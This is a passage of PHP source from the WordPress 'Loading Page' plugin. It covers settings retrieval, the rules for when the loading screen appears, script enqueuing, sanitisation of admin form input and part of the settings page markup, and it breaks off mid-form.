	 * @param boolean $network_activation multisite activation.
	 */
	function loading_page_redirect_to_settings( $plugin, $network_activation ) {
		if (
			empty( $_REQUEST['_ajax_nonce'] ) &&
			plugin_basename( __FILE__ ) === $plugin &&
			( ! isset( $_POST['action'] ) || 'activate-selected' !== $_POST['action'] ) && // phpcs:ignore WordPress.Security.NonceVerification
			( ! isset( $_POST['action2'] ) || 'activate-selected' !== $_POST['action2'] ) // phpcs:ignore WordPress.Security.NonceVerification
		) {
			wp_safe_redirect( admin_url( 'options-general.php?page=loading-page.php' ) );
			remove_all_actions( 'shutdown' );
			exit;
		}
	}
}

if ( ! function_exists( 'loading_page_get_settings' ) ) {
	function loading_page_get_settings() {
		global $wp, $_loading_page_settings_global_var;
		if ( empty( $_loading_page_settings_global_var ) ) {
			$current_url = home_url( add_query_arg( array(), $wp->request ) );
			$_loading_page_settings_global_var = apply_filters( 'loading_page_settings', get_option( 'loading_page_options', [] ), $current_url );
		}
		return $_loading_page_settings_global_var;
	} // End loading_page_get_settings
}

/*
*   Plugin initializing
*/
add_action( 'init', 'loading_page_init' );
if ( ! function_exists( 'loading_page_init' ) ) {
	/**
	 * Enqueuen script if loading page is enabled
	 */
	function loading_page_init() {
		if ( ! is_admin() && empty( $_REQUEST['elementor-preview'] ) ) {

			$op = loading_page_get_settings();

			if ( ! empty( $op ) && is_array( $op ) && ! empty( $op['enabled_loading_screen'] ) ) {
				if (
					! defined( 'DOING_AJAX' ) &&
					! empty( $op['once_per_session'] ) &&
					'always' != $op['once_per_session'] &&
					session_id() == '' &&
					! headers_sent()
				) {
					@session_start();
				}

				add_action( 'wp_enqueue_scripts', 'loading_page_enqueue_scripts', 1 );
			}
		}
	} // End loading_page_init.
}

/*
*   Admin initionalizing
*/
add_action( 'admin_init', 'loading_page_admin_init' );
if ( ! function_exists( 'loading_page_admin_init' ) ) {
	/**
	 * Initialize the plugin admin
	 */
	function loading_page_admin_init() {
		// Load the associated text domain.
		load_plugin_textdomain( 'loading-page', false, LOADING_PAGE_PLUGIN_DIR . '/languages/' );

		// Set plugin links.
		$plugin = plugin_basename( __FILE__ );
		add_filter( 'plugin_action_links_' . $plugin, 'loading_page_links' );

		// Load resources.
		add_action( 'admin_enqueue_scripts', 'loading_page_admin_resources' );
	} // End loading_page_admin_init.
}

if ( ! function_exists( 'loading_page_links' ) ) {
	/**
	 * Set plugins section links
	 *
	 * @param array $links links array.
	 */
	function loading_page_links( $links ) {
		// Custom link.
		$custom_link = '<a href="http://wordpress.dwbooster.com/contact-us" target="_blank">' . __( 'Request custom changes', 'loading-page' ) . '</a>';
		array_unshift( $links, $custom_link );

		// Settings link.
		$settings_link = '<a href="options-general.php?page=loading-page.php">' . __( 'Settings', 'loading-page' ) . '</a>';
		array_unshift( $links, $settings_link );

		return $links;
	} // End loading_page_links.
}

add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), 'loading_page_customization_link' );
if ( ! function_exists( 'loading_page_customization_link' ) ) {
	/**
	 * Redirects the user to the WordPress forum
	 *
	 * @param array $links links array.
	 */
	function loading_page_customization_link( $links ) {
		array_unshift( $links, '<a href="https://wordpress.org/support/plugin/loading-page/#new-post" target="_blank">' . __( 'Help', 'loading-page' ) . '</a>' );
		return $links;
	}
}

// Set the settings menu option.
add_action( 'admin_menu', 'loading_page_settings_menu' );
if ( ! function_exists( 'loading_page_settings_menu' ) ) {
	/**
	 * WordPress menu option
	 */
	function loading_page_settings_menu() {
		/**
		 *  Add to admin_menu
		 *  - The capability has been modified, from "edit_posts" to "manage_options"
		 *  - Now only the administrators can now edit the "Loading Page" settings.
		 */
		add_options_page( 'Loading Page', 'Loading Page', 'manage_options', 'loading-page.php', 'loading_page_settings_page' );
	} // End loading_page_settings_menu.
}

if ( ! function_exists( 'loading_page_add_code_block' ) ) {
	/**
	 * Embed the code block on page
	 */
	function loading_page_add_code_block() {
		$codeblock = '';
		$op        = loading_page_get_settings();
		if ( ! empty( $op ) && ! empty( $op['codeBlock'] ) ) {
			$codeblock = '<div id="loading_page_codeBlock">' . $op['codeBlock'] . '</div>';
		}
		return $codeblock;
	}
}

if ( ! function_exists( 'loading_page_admin_resources' ) ) {
	/**
	 * Enqueue admin resources
	 *
	 * @param string $hook hook name.
	 */
	function loading_page_admin_resources( $hook ) {
		if ( strpos( $hook, 'loading-page' ) !== false ) {
			wp_enqueue_media();
			wp_enqueue_style( 'farbtastic' );
			wp_enqueue_script( 'farbtastic' );
			wp_enqueue_style( 'thickbox' );
			wp_enqueue_script( 'thickbox' );

			wp_enqueue_script( 'lp-admin-script', LOADING_PAGE_PLUGIN_URL . '/js/loading-page-admin.js', array( 'jquery', 'thickbox', 'farbtastic' ), 'free-1.1.18', true );
		}
	} // End loading_page_admin_resources.
}

if ( ! function_exists( 'loading_page_loading_screen' ) ) {
	/**
	 * Deciding to include the loading screen
	 */
	function loading_page_loading_screen() {
		global $post;

		$is_bot 		= function () {
			if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
				$system = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) );
				if ( ! empty( $system ) ) {
					return preg_match( '/(Googlebot)|(Baiduspider)|(ia_archiver)|(R6_FeedFetcher)|(NetcraftSurveyAgent)|(Sogou web spider)|(bingbot)|(Yahoo\! Slurp)|(facebookexternalhit)|(PrintfulBot)|(msnbot)|(Twitterbot)|(UnwindFetchor)|(urlresolver)/i', $system );
				}
			}

			return false;
		};

		$op             = loading_page_get_settings();
		$loading_screen = 0;

		if ( $is_bot() ) {
			return $loading_screen;
		}

		if (
			! empty( $op['enabled_loading_screen'] )
		) {
			global $wp;
			$current_url = home_url( add_query_arg( array(), $wp->request ) );
			$_permalink  = md5( $current_url );

			if (
				empty( $op['lp_loading_screen_devices'] ) ||
				'both' == $op['lp_loading_screen_devices'] ||
				( 'desktop' == $op['lp_loading_screen_devices'] && ! wp_is_mobile() ) ||
				( 'mobile' == $op['lp_loading_screen_devices'] && wp_is_mobile() )
			) {
				if ( ! empty( $op['once_per_session'] ) && 'always' != $op['once_per_session'] ) {
					if(
						! empty( $_SESSION['loading_page_once_per_session'] ) &&
						(
							'site' == $op['once_per_session'] ||
							(
								'page' == $op['once_per_session'] &&
								is_array( $_SESSION['loading_page_once_per_session'] ) &&
								! empty( $_SESSION['loading_page_once_per_session'][ $_permalink ] )
							)
						)
					) {
						return $loading_screen;
					}

					if ( empty( $_SESSION['loading_page_once_per_session'] ) || ! is_array( $_SESSION['loading_page_once_per_session'] ) ) {
						$_SESSION['loading_page_once_per_session'] = array();
					}
					$_SESSION['loading_page_once_per_session'][ $_permalink ] = 1;
				}

				$pages = ( ! empty( $op['lp_loading_screen_display_in_pages'] ) ) ? $op['lp_loading_screen_display_in_pages'] : '';
				$pages = str_replace( ' ', '', $pages );
				$pages = explode( ',', $pages );

				$post_types = ( ! empty( $op['lp_loading_screen_display_post_types'] ) ) ? $op['lp_loading_screen_display_post_types'] : '';
				$post_types = str_replace( ' ', '', $post_types );
				$post_types = explode( ',', $post_types );

				$exclude_pages = ( ! empty( $op['lp_loading_screen_exclude_from_pages'] ) ) ? $op['lp_loading_screen_exclude_from_pages'] : '';
				$exclude_pages = str_replace( ' ', '', $exclude_pages );
				$exclude_pages = explode( ',', $exclude_pages );

				$exclude_post_types = ( ! empty( $op['lp_loading_screen_exclude_from_post_types'] ) ) ? $op['lp_loading_screen_exclude_from_post_types'] : '';
				$exclude_post_types = str_replace( ' ', '', $exclude_post_types );
				$exclude_post_types = explode( ',', $exclude_post_types );

				$exclude_pages_urls = ( ! empty( $op['lp_loading_screen_exclude_from_urls'] ) ) ? $op['lp_loading_screen_exclude_from_urls'] : array();

				$include_pages_urls = ( ! empty( $op['lp_loading_screen_include_from_urls'] ) ) ? $op['lp_loading_screen_include_from_urls'] : array();

				$exclude_elementor_maintenance = ( defined( 'ELEMENTOR_VERSION' ) &&
				! empty( $op['lp_loading_screen_exclude_from_elementor_maintenance'] ) &&
				'' !== get_option( 'elementor_maintenance_mode_mode', '' )
				) ? true : false;

				// Initialize current URL
				$protocol    = ( ( ! empty( $_SERVER['HTTPS'] ) && 'off' !== $_SERVER['HTTPS'] ) || ( isset( $_SERVER['SERVER_PORT'] ) && 443 === $_SERVER['SERVER_PORT'] ) ) ? 'https://' : 'http://';
				$current_url = esc_url_raw( $protocol . ( isset( $_SERVER['HTTP_HOST'] ) ? wp_unslash( $_SERVER['HTTP_HOST'] ) : '' ) . ( isset( $_SERVER['REQUEST_URI'] ) ? wp_unslash( $_SERVER['REQUEST_URI'] ) : '' ) );

				$match_url = function ( $urls_array ) use ( $current_url ) {
					foreach ( $urls_array as $url ) {
						$url = preg_quote( $url, '/' );
						$url = str_replace( '\*', '.*', $url );
						if ( preg_match( '/^' . $url . '$/i', $current_url ) ) {
							return true;
						}
					}

					return false;
				};

				if (
				! $exclude_elementor_maintenance &&
				( empty( $op['lp_loading_screen_display_in'] ) ||
					('all' === $op['lp_loading_screen_display_in'] && ( empty( $include_pages_urls ) || $match_url( $include_pages_urls ) ) ) ||
					( 'home' === $op['lp_loading_screen_display_in'] && ( is_home() || is_front_page() ) ) ||
					( 'pages' === $op['lp_loading_screen_display_in'] && is_singular() && isset( $post ) && in_array( $post->ID, $pages ) ) ||
					( 'post_type' === $op['lp_loading_screen_display_in'] && is_singular() && isset( $post ) && in_array( $post->post_type, $post_types, true ) )
				) &&
				( empty( $post ) ||
					empty( $post->ID ) ||
					(
						( empty( $exclude_pages ) ||
							! in_array( $post->ID, $exclude_pages )
						)
						&&
						( empty( $exclude_post_types ) ||
							! in_array( $post->post_type, $exclude_post_types, true )
						)
					)
				)
				) {
					if ( ! empty( $exclude_pages_urls ) && $match_url( $exclude_pages_urls ) ) return;

					add_filter( 'body_class', function( $classes ){ $classes[] = 'lp_loading_screen_body'; return $classes; } );
					$loading_screen = 1;
					add_action( 'wp_head', 'loading_page_replace_the_header', 99 );
					add_filter( 'autoptimize_filter_js_dontmove', 'loading_page_autoptimize_exclude', 10, 1 );
				}
			}
		}
		return $loading_screen;
	}
}

if ( ! function_exists( 'loading_page_autoptimize_exclude' ) ) {
	/**
	 * Excluding the plugin resources from Autoptimize
	 *
	 * @param array $to_exclude to exclude URLs.
	 */
	function loading_page_autoptimize_exclude( $to_exclude ) {
		$to_exclude[] = 'loading-page.min.js';
		$to_exclude[] = '/loading-screens/';
		return $to_exclude;
	}
}

if ( ! function_exists( 'loading_page_replace_the_header' ) ) {
	/**
	 * Including styles in the page header section
	 */
	function loading_page_replace_the_header() {
		$opt = loading_page_get_settings();
		if ( empty( $opt ) || empty( $opt['modifyDisplayRule'] ) ) {
			echo '<style id="loading-page-inline-style">body{visibility:hidden;}</style><noscript><style>body{visibility:visible;}</style></noscript>';
		} else {
			echo '<style id="loading-page-inline-style">body{display:none;}</style><noscript><style>body{display:block;}</style></noscript>';
		}

		if (
			! empty( $opt ) &&
			! empty( $opt['lp_ls'] ) &&
			! empty( $opt['lp_ls']['logo'] ) &&
			! empty( $opt['lp_ls']['logo']['image'] )
		) {
			$path = $opt['lp_ls']['logo']['image'];
			echo '<link rel="preload" href="' . esc_attr( $path ) . '" as="image" type="image/svg+xml">';
		}
	} // End loading_page_replace_the_header.
}

if ( ! function_exists( 'loading_page_hex2rgb' ) ) {
	/**
	 * Transform colors code
	 *
	 * @param array/string $colour color code.
	 */
	function loading_page_hex2rgb( $colour ) {
		if ( '#' === $colour[0] ) {
			$colour = substr( $colour, 1 );
		}
		if ( 6 === strlen( $colour ) ) {
			list($r, $g, $b) = array( $colour[0] . $colour[1], $colour[2] . $colour[3], $colour[4] . $colour[5] );
		} elseif ( 3 === strlen( $colour ) ) {
			list($r, $g, $b) = array( $colour[0] . $colour[0], $colour[1] . $colour[1], $colour[2] . $colour[2] );
		} else {
			return $colour;
		}
		$r = hexdec( $r );
		$g = hexdec( $g );
		$b = hexdec( $b );
		return 'rgba(' . $r . ',' . $g . ',' . $b . ',.8)';
	}
}

if ( ! function_exists( 'loading_page_enqueue_scripts' ) ) {
	/**
	 * Enqueue public scripts
	 */
	function loading_page_enqueue_scripts() {
		global $post;

		$op             = loading_page_get_settings();
		$loading_screen = loading_page_loading_screen();
		if ( $loading_screen && ! empty( $op['from_trigger'] ) ) {
			wp_enqueue_script( 'codepeople-loading-page-link-script', LOADING_PAGE_PLUGIN_URL . '/js/links.min.js', array( 'jquery' ), 'free-1.1.18', false );
		}

		if ( $loading_screen ) {
			$loading_page_settings = array(
				'loadingScreen'     => $loading_screen,
				'closeBtn'          => ( ! isset( $op['close_btn'] ) || $op['close_btn'] ) ? true : false,
				'removeInOnLoad'    => ( ! empty( $op['remove_in_on_load'] ) ) ? $op['remove_in_on_load'] : false,
				'codeblock'         => loading_page_add_code_block(),
				'backgroundColor'   => ( ! isset( $op['transparency'] ) || $op['transparency'] ) ? loading_page_hex2rgb( $op['backgroundColor'] ) : $op['backgroundColor'],
				'foregroundColor'   => $op['foregroundColor'],
				'backgroundImage'   => $op['backgroundImage'],
				'additionalSeconds' => ( ! empty( $op['additionalSeconds'] ) ) ? $op['additionalSeconds'] : 0,
				'pageEffect'        => $op['pageEffect'],
				'backgroundRepeat'  => $op['backgroundImageRepeat'],
				'fullscreen'        => ( ( ! empty( $op['fullscreen'] ) ) ? 1 : 0 ),
				'graphic'           => $op['loading_screen'],
				'text'              => ( ( ! empty( $op['displayPercent'] ) ) ? $op['displayPercent'] : 0 ),
				'lp_ls'             => ( ( ! empty( $op['lp_ls'] ) ) ? $op['lp_ls'] : 0 ),
				'screen_size'       => ( ( ! empty( $op['screen_size'] ) ) ? $op['screen_size'] : 'all' ),
				'screen_width'      => ( ( ! empty( $op['screen_width'] ) ) ? $op['screen_width'] : 0 ),
				'deepSearch'        => ( ( empty( $op['deepSearch'] ) ) ? 0 : 1 ),
				'modifyDisplayRule' => ( ( empty( $op['modifyDisplayRule'] ) ) ? 0 : 1 ),
				'triggerLinkScreenNeverClose' => empty( $op['triggerLinkScreenNeverClose'] ) ? 0 : 1,
				'triggerLinkScreenCloseAfter' => ! empty( $op['triggerLinkScreenCloseAfter'] ) ? intval( $op['triggerLinkScreenCloseAfter'] ) : 4,
			);

			$required = array( 'jquery' );
			wp_enqueue_script( 'jquery' );
			wp_enqueue_style( 'codepeople-loading-page-style', LOADING_PAGE_PLUGIN_URL . '/css/loading-page.css', array(), 'free-1.1.18', false );
			wp_enqueue_style( 'codepeople-loading-page-style-effect', LOADING_PAGE_PLUGIN_URL . '/css/loading-page' . ( ( 'none' !== $op['pageEffect'] ) ? '-' . $op['pageEffect'] : '' ) . '.css', array(), 'free-1.1.18', false );

			$s = loading_page_get_screen( $op['loading_screen'] );
			if ( $s ) {
				if ( ! empty( $s['style'] ) ) {
					wp_enqueue_style( 'codepeople-loading-page-style-' . $s['id'], $s['style'], array(), 'free-1.1.18', false );
				}

				if ( ! empty( $s['script'] ) ) {
					wp_enqueue_script( 'codepeople-loading-page-script-' . $s['id'], $s['script'], array( 'jquery' ), 'free-1.1.18', false );
					$required[] = 'codepeople-loading-page-script-' . $s['id'];
				}
			}
			wp_enqueue_script( 'codepeople-loading-page-script', LOADING_PAGE_PLUGIN_URL . '/js/loading-page.min.js', $required, 'free-1.1.18', false );
			if ( function_exists( 'wp_add_inline_script' ) ) {
				wp_add_inline_script( 'codepeople-loading-page-script', 'loading_page_settings=' . wp_json_encode( $loading_page_settings ) . ';', 'before' );
			} else {
				wp_localize_script( 'codepeople-loading-page-script', 'loading_page_settings', $loading_page_settings );
			}
		}
	} // End loading_page_enqueue_scripts.
}

if ( ! function_exists( 'loading_page_sanitize_array' ) ) {
	/**
	 * Sanitize mutilevel array
	 *
	 * @param array/string $array values to sanitize.
	 */
	function loading_page_sanitize_array( $array ) {
		if ( is_array( $array ) ) {
			foreach ( $array as $key => $value ) {
				if ( is_array( $value ) ) {
					$array[ $key ] = loading_page_sanitize_array( $value );
				} else {
					$array[ $key ] = sanitize_text_field( wp_unslash( $value ) );
				}
			}
			return $array;
		} else {
			return sanitize_text_field( wp_unslash( $array ) );
		}
	} // End loading_page_sanitize_array.
}

if ( ! function_exists( 'loading_page_settings_page' ) ) {
	/**
	 * Plugin settings page
	 */
	function loading_page_settings_page() {
		if ( isset( $_POST['loading_page_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['loading_page_nonce'] ) ), __FILE__ ) ) {

			$allowed_tags = wp_kses_allowed_html( 'post' );

			$allowed_tags['source'] = array(
				'src' => true,
				'type' => true
			);

			if ( current_user_can( 'manage_options' ) ) {
				$allowed_tags['script'] = true;
				$allowed_tags['style'] = true;
				$allowed_tags['link'] = true;
			}

			$additional_seconds = isset( $_POST['lp_additionalSeconds'] ) && is_numeric( $_POST['lp_additionalSeconds'] ) ? intval( $_POST['lp_additionalSeconds'] ) : 0;
			$code_block         = isset( $_POST['lp_codeBlock'] ) ? wp_kses( wp_unslash( $_POST['lp_codeBlock'] ), $allowed_tags ) : '';

			$lp_loading_screen_exclude_from_urls = isset( $_POST['lp_loading_screen_exclude_from_urls'] ) ? sanitize_textarea_field( wp_unslash( $_POST['lp_loading_screen_exclude_from_urls'] ) ) : '';
			$lp_loading_screen_exclude_from_urls = explode( "\n", $lp_loading_screen_exclude_from_urls );
			foreach ( $lp_loading_screen_exclude_from_urls as $key => $url ) {
				$url = trim( $url );
				if ( '' === $url ) {
					unset( $lp_loading_screen_exclude_from_urls[ $key ] );
				} else {
					$lp_loading_screen_exclude_from_urls[ $key ] = $url;
				}
			}

			$lp_loading_screen_include_from_urls = isset( $_POST['lp_loading_screen_include_from_urls'] ) ? sanitize_textarea_field( wp_unslash( $_POST['lp_loading_screen_include_from_urls'] ) ) : '';
			$lp_loading_screen_include_from_urls = explode( "\n", $lp_loading_screen_include_from_urls );
			foreach ( $lp_loading_screen_include_from_urls as $key => $url ) {
				$url = trim( $url );
				if ( '' === $url ) {
					unset( $lp_loading_screen_include_from_urls[ $key ] );
				} else {
					$lp_loading_screen_include_from_urls[ $key ] = $url;
				}
			}

			$lp_screen_width = '';
			if ( ! empty( $_POST['lp_screen_width'] ) ) {
				$lp_screen_width = preg_replace( '/[^\\d\\.]/', '', sanitize_text_field( wp_unslash( $_POST['lp_screen_width'] ) ) );
			}

			// Set the default options here.
			$loading_page_options = array(
				'foregroundColor'                      => ( ! empty( $_POST['lp_foregroundColor'] ) ) ? sanitize_text_field( wp_unslash( $_POST['lp_foregroundColor'] ) ) : '#FFFFFF',
				'backgroundColor'                      => ( ! empty( $_POST['lp_backgroundColor'] ) ) ? sanitize_text_field( wp_unslash( $_POST['lp_backgroundColor'] ) ) : '#000000',
				'transparency'                         => ( ! empty( $_POST['lp_backgroundTransparency'] ) ) ? true : false,
				'backgroundImage'                      => isset( $_POST['lp_backgroundImage'] ) ? esc_url_raw( wp_unslash( $_POST['lp_backgroundImage'] ) ) : '',
				'backgroundImageRepeat'                => ( isset( $_POST['lp_backgroundRepeat'] ) && in_array( $_POST['lp_backgroundRepeat'], array( 'repeat', 'no-repeat' ), true ) ) ? sanitize_text_field( wp_unslash( $_POST['lp_backgroundRepeat'] ) ) : 'repeat',
				'additionalSeconds'                    => $additional_seconds,
				'codeBlock'                            => wp_unslash( $code_block ),
				'fullscreen'                           => ( isset( $_POST['lp_fullscreen'] ) ) ? 1 : 0,
				'enabled_loading_screen'               => ( isset( $_POST['lp_enabled_loading_screen'] ) ) ? true : false,
				'from_trigger'                         => ( isset( $_POST['lp_from_trigger'] ) ) ? true : false,
				'close_btn'                            => ( isset( $_POST['lp_close_btn'] ) ) ? true : false,
				'remove_in_on_load'                    => ( isset( $_POST['lp_remove_in_on_load'] ) ) ? true : false,
				'screen_size'                          => ( isset( $_POST['lp_screen_size'] ) && in_array( $_POST['lp_screen_size'], array( 'all', 'greater', 'lesser' ), true ) ) ? sanitize_text_field( wp_unslash( $_POST['lp_screen_size'] ) ) : 'all',
				'screen_width'                         => is_numeric( $lp_screen_width ) ? $lp_screen_width : '',
				'lp_loading_screen_display_in'         => ( isset( $_POST['lp_loading_screen_display_in'] ) ) ? sanitize_text_field( wp_unslash( $_POST['lp_loading_screen_display_in'] ) ) : 'all',
				'once_per_session'                     => ( ! isset( $_POST['once_per_session'] ) ||
					! in_array( $_POST['once_per_session'], array( 'always', 'site', 'page' ), true )
				) ? 'always' : sanitize_text_field( wp_unslash( $_POST['once_per_session'] ) ),
				'lp_loading_screen_display_in_pages'   => isset( $_POST['lp_loading_screen_display_in_pages'] ) ? sanitize_text_field( wp_unslash( $_POST['lp_loading_screen_display_in_pages'] ) ) : '',
				'lp_loading_screen_display_post_types' => isset( $_POST['lp_loading_screen_display_post_types'] ) ? sanitize_text_field( wp_unslash( $_POST['lp_loading_screen_display_post_types'] ) ) : '',
				'lp_loading_screen_devices' => isset( $_POST['lp_loading_screen_devices'] ) && in_array( $_POST['lp_loading_screen_devices'], array( 'desktop', 'mobile', 'both' ) ) ? sanitize_text_field( wp_unslash( $_POST['lp_loading_screen_devices'] ) ) : 'both',
				'lp_loading_screen_exclude_from_pages' => isset( $_POST['lp_loading_screen_exclude_from_pages'] ) ? sanitize_text_field( wp_unslash( $_POST['lp_loading_screen_exclude_from_pages'] ) ) : '',
				'lp_loading_screen_exclude_from_post_types' => isset( $_POST['lp_loading_screen_exclude_from_post_types'] ) ? sanitize_text_field( wp_unslash( $_POST['lp_loading_screen_exclude_from_post_types'] ) ) : '',
				'lp_loading_screen_include_from_urls'  => $lp_loading_screen_include_from_urls,
				'lp_loading_screen_exclude_from_urls'  => $lp_loading_screen_exclude_from_urls,
				'lp_loading_screen_exclude_from_elementor_maintenance' => ( isset( $_POST['lp_loading_screen_exclude_from_elementor_maintenance'] ) ) ? true : false,
				'deepSearch'                           => ( isset( $_POST['lp_deactivateDeepSearch'] ) ) ? false : true,
				'modifyDisplayRule'                    => ( isset( $_POST['lp_modifyDisplayRule'] ) ) ? true : false,
				'loading_screen'                       => isset( $_POST['lp_loading_screen'] ) ? sanitize_text_field( wp_unslash( $_POST['lp_loading_screen'] ) ) : '',
				'displayPercent'                       => ( isset( $_POST['lp_displayPercent'] ) ) ? true : false,
				'pageEffect'                           => isset( $_POST['lp_pageEffect'] ) ? sanitize_text_field( wp_unslash( $_POST['lp_pageEffect'] ) ) : '',
				'triggerLinkScreenNeverClose'          => isset( $_POST['lp_triggerLinkScreenNeverClose'] ) ? true : false,
				'triggerLinkScreenCloseAfter'          => isset( $_POST['lp_triggerLinkScreenCloseAfter'] ) && is_numeric( $_POST['lp_triggerLinkScreenCloseAfter'] ) ? intval( $_POST['lp_triggerLinkScreenCloseAfter'] ) : '',
			);

			if ( isset( $_POST['lp_ls'] ) ) {
				$loading_page_options['lp_ls'] = loading_page_sanitize_array( $_POST['lp_ls'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
			}

			update_option( 'loading_page_video_tutorial', ( ! empty( $_POST['loading_page_video_tutorial'] ) && 'collapsed' === $_POST['loading_page_video_tutorial'] ) ? 'collapsed' : 'expanded' );

			if ( update_option( 'loading_page_options', $loading_page_options ) ) {
				print '<div class="updated">' . esc_html__( 'The Loading Page has been stored successfully', 'loading-page' ) . '</div>';
			} else {
				print '<div class="error">' . esc_html__( 'The Loading Page settings could not be stored', 'loading-page' ) . '</div>';
			}
		}

		$loading_page_options = get_option( 'loading_page_options', [] );

		$loading_page_video_tutorial            = get_option( 'loading_page_video_tutorial', 'expanded' );
		$loading_page_video_tutorial_open_close = ( 'expanded' === $loading_page_video_tutorial ) ? 'X' : '+';
		$loading_page_video_tutorial_status     = ( 'collapsed' === $loading_page_video_tutorial ) ? 'lp-video-collapsed' : '';

		?>
		<style>
			.lp-video-container {
				overflow: hidden;
				position: relative;
				width: 100%;
			}

			.lp-video-container::after {
				padding-top: 56.25%;
				display: block;
				content: '';
			}

			.lp-video-container iframe {
				position: absolute;
				top: 0;
				left: 0;
				width: 100%;
				height: 100%;
			}

			.lp-video-collapsed {
				display: none;
			}
			.lp-upgrade-message{
				border:3px solid #e5c012;
				margin-top:10px;
				margin-bottom:10px;
				padding:10px;
				display:block;
				width:100%;
				box-sizing:border-box;
				font-weight:500;
			}
		</style>
		<div class="wrap">
			<form method="post">
				<input type="hidden" name="loading_page_nonce" value="<?php print( esc_attr( wp_create_nonce( __FILE__ ) ) ); ?>" />
				<h2><?php esc_html_e( 'Loading Page Settings', 'loading-page' ); ?></h2>
				<div class="postbox">
					<h3 class='hndle' style="padding:5px;"><span><?php esc_html_e( 'Video Tutorial', 'loading-page' ); ?></span><a href="javascript:void(0);" onclick="loading_page_collapse_expand_video_tutorial(this);" style="float:right;font-size:1.3em;text-decoration:none;"><?php print esc_html( $loading_page_video_tutorial_open_close ); ?></a></h3>
					<div class="inside lp-video-tutorial <?php echo esc_attr( $loading_page_video_tutorial_status ); ?>" style="position:relative;">
						<input type="hidden" name="loading_page_video_tutorial" value="<?php echo esc_attr( $loading_page_video_tutorial ); ?>" />
						<div class="lp-video-container">
							<iframe title="<?php esc_attr_e( 'Video tutorial', 'loading-page' ); ?>" src="https://www.youtube.com/embed/5x_LtjoCFUY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
						</div>
					</div>
				</div>
				<div class="postbox">
					<h3 class='hndle' style="padding:5px;"><span><?php esc_html_e( 'Loading Screen', 'loading-page' ); ?></span></h3>
					<div class="inside">
						<p style="border:1px solid #E6DB55;margin-bottom:10px;padding:5px;background-color: #FFFFE0;"><?php esc_html_e( 'If you want test the premium version of Loading Page go to the following links:', 'loading-page' ); ?><br /> <a href="https://demos.dwbooster.com/loading-page/wp-login.php" target="_blank"><?php esc_html_e( 'Administration area: Click to access the administration area demo', 'loading-page' ); ?></a><br />
							<a href="https://demos.dwbooster.com/loading-page/" target="_blank"><?php esc_html_e( 'Public page: Click to access the Loading Page', 'loading-page' ); ?></a><br />
							<a href="https://wordpress.org/support/plugin/loading-page/#new-post" target="_blank"><?php esc_html_e( 'If you need additional help', 'loading-page' ); ?></a>
						</p>
						<p>
						<?php
							esc_html_e(
								'Displays a loading screen until the webpage is ready, the screen shows the loading percent.',
								'loading-page'
							);
						?>
							</p>
						<table class="form-table">
							<tr>
								<th><?php esc_html_e( 'Enable loading screen', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Enable loading screen', 'loading-page' ); ?>" type="checkbox" name="lp_enabled_loading_screen" <?php echo ( ( ! empty( $loading_page_options['enabled_loading_screen'] ) ) ? 'CHECKED' : '' ); ?> /></td>
							</tr>
							<tr>
								<th style="border-top:2px dashed green;border-left:2px dashed green;border-bottom:2px dashed green;padding-left:10px;"><?php esc_html_e( 'Show loading screen when clicking on link', 'loading-page' ); ?></th>
								<td style="border-top:2px dashed green;border-right:2px dashed green;border-bottom:2px dashed green;padding-left:10px;"><input aria-label="<?php esc_attr_e( 'Show loading screen when clicking on link', 'loading-page' ); ?>" type="checkbox" name="lp_from_trigger" <?php print ! empty( $loading_page_options['from_trigger'] ) ? 'CHECKED' : ''; ?> /> <i style="color:green;"><?php esc_html_e( 'Display the loading screen as soon as the link on the current page is clicked, and not only when the next page is loaded.', 'loading-page' ); ?></i><br><i style="color:green;"><?php esc_html_e( 'Apply the class name "no-loading-screen" to the links you want to exclude from this behavior.', 'loading-page' ); ?></i></td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Display a close screen button', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Display a close screen button', 'loading-page' ); ?>" type="checkbox" name="lp_close_btn" <?php echo ( ( ! isset( $loading_page_options['close_btn'] ) || $loading_page_options['close_btn'] ) ? 'CHECKED' : '' ); ?> /></td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Hide the loading screen in the window onload event', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Hide the loading screen in the onload event', 'loading-page' ); ?>" type="checkbox" name="lp_remove_in_on_load" <?php echo ( ( ! empty( $loading_page_options['remove_in_on_load'] ) ) ? 'CHECKED' : '' ); ?> /> <i><?php esc_html_e( 'Hides the loading screen in the onload event of window - or - as soon as possible', 'loading-page' ); ?></i></td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Display the loading screen on', 'loading-page' ); ?></th>
								<td>
									<select aria-label="<?php esc_attr_e( 'Screen size', 'loading-page' ); ?>" name="lp_screen_size" style="float:left;">
										<option value="all"
										<?php
										if (
																isset( $loading_page_options['screen_size'] ) &&
																'all' === $loading_page_options['screen_size']
															) {
											print 'SELECTED';
										}
										?>
															><?php esc_html_e( 'All Screens', 'loading-page' ); ?></option>
										<option value="greater"
										<?php
										if (
																	isset( $loading_page_options['screen_size'] ) &&
																	'greater' === $loading_page_options['screen_size']
																) {
											print 'SELECTED';
										}
										?>
																><?php esc_html_e( 'Greater Than', 'loading-page' ); ?></option>
										<option value="lesser"
										<?php
										if (
																	isset( $loading_page_options['screen_size'] ) &&
																	'lesser' === $loading_page_options['screen_size']
																) {
											print 'SELECTED';
										}
										?>
																><?php esc_html_e( 'Lesser Than', 'loading-page' ); ?></option>
									</select>
									<div id="lp_width_container" style="float:left; padding-left:10px;
									<?php
									if ( ! isset( $loading_page_options['screen_size'] ) || 'all' === $loading_page_options['screen_size'] ) {
										echo 'display:none;';
									} else {
										echo 'display:block;';
									}
									?>
																										">
										<?php esc_html_e( 'Width', 'loading-page' ); ?>:
										<input aria-label="<?php esc_attr_e( 'Screen width', 'loading-page' ); ?>" type="text" name="lp_screen_width" value="<?php
										if ( isset( $loading_page_options['screen_width'] ) ) {
											echo esc_attr( $loading_page_options['screen_width'] );
										}
										?>" /> px
									</div>
									<script>
